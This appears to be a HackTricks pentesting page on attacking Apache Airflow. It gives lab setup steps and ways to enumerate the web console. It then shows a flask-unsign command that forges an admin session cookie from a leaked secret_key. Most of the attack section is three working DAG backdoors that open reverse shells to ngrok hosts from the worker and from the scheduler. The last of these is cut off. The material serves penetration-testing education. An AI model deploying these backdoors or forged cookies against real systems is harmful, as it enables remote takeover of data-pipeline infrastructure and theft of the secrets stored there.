HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
Apache Airflow
Support HackTricks and get benefits!

Basic Information

โ€‹Apache Airflow is used for the scheduling and _orchestration of data pipelines_** or workflows**. Orchestration of data pipelines refers to the sequencing, coordination, scheduling, and managing complex data pipelines from diverse sources. These data pipelines deliver data sets that are ready for consumption either by business intelligence applications and data science, machine learning models that support big data applications.
Basically, Apache Airflow will allow you to schedule de execution of code when something (event, cron) happens.

Local Lab

Docker-Compose

You can use the docker-compose config file from https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).

Minikube

One easy way to run apache airflow is to run it with minikube:
1
helm repo add airflow-stable https://airflow-helm.github.io/charts
2
helm repo update
3
helm install airflow-release airflow-stable/airflow
4
# Some information about how to aceess the web console will appear after this command
5
โ€‹
6
# Use this command to delete it
7
helm delete airflow-release
Copied!

Airflow Configuration

Airflow might store sensitive information in its configuration or you can find weak configurations in place:

Airflow RBAC

Before start attacking Airflow you should understand how permissions work:

Attacks

Web Console Enumeration

If you have access to the web console you might be able to access some or all of the following information:
  • Variables (Custom sensitive information might be stored here)
  • Connections (Custom sensitive information might be stored here)
  • โ€‹Configuration (Sensitive information like the secret_key and passwords might be stored here)
  • List users & roles
  • Code of each DAG (which might contain interesting info)

Privilege Escalation

If the expose_config configuration is set to True, from the role User and upwards can read the config in the web. In this config, the secret_key appears, which means any user with this valid they can create its own signed cookie to impersonate any other user account.
1
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
Copied!

DAG Backdoor (RCE in Airflow worker)

If you have write access to the place where the DAGs are saved, you can just create one that will send you a reverse shell. Note that this reverse shell is going to be executed inside an airflow worker container:
1
import pendulum
2
from airflow import DAG
3
from airflow.operators.bash import BashOperator
4
โ€‹
5
with DAG(
6
dag_id='rev_shell_bash',
7
schedule_interval='0 0 * * *',
8
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
9
) as dag:
10
run = BashOperator(
11
task_id='run',
12
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
13
)
Copied!
1
import pendulum, socket, os, pty
2
from airflow import DAG
3
from airflow.operators.python import PythonOperator
4
โ€‹
5
def rs(rhost, port):
6
s = socket.socket()
7
s.connect((rhost, port))
8
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
9
pty.spawn("/bin/sh")
10
โ€‹
11
with DAG(
12
dag_id='rev_shell_python',
13
schedule_interval='0 0 * * *',
14
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
15
) as dag:
16
run = PythonOperator(
17
task_id='rs_python',
18
python_callable=rs,
19
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
20
)
Copied!

DAG Backdoor (RCE in Airflow scheduler)

If you set something to be executed in the root of the code, at the moment of this writing, it will be executed by the scheduler after a couple of seconds after placing it inside the DAG's folder.
1
import pendulum, socket, os, pty
2
from airflow import DAG
3
from airflow.operators.python import PythonOperator
4
โ€‹
5
def rs(rhost, port):
6
s = socket.socket()
7
s.connect((rhost, port))
8
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
9
pty.spawn("/bin/sh")
10
โ€‹
11
rs("2.tcp.ngrok.io", 14403)
12
โ€‹
13
with DAG(
14
dag_id='rev_shell_python2',
15
schedule_interval='0 0 * * *',
16
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
17
) as dag:
18
run = PythonOperator(
19
task_id='rs_python2',
20
python_callable=rs,
21
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
Copied!

DAG Creation

If you manage to compromise a machine inside the DAG cluster, you can create new DAGs scripts in the dags/ folder and they will be replicated in the rest of the machines inside the DAG cluster.
Support HackTricks and get benefits!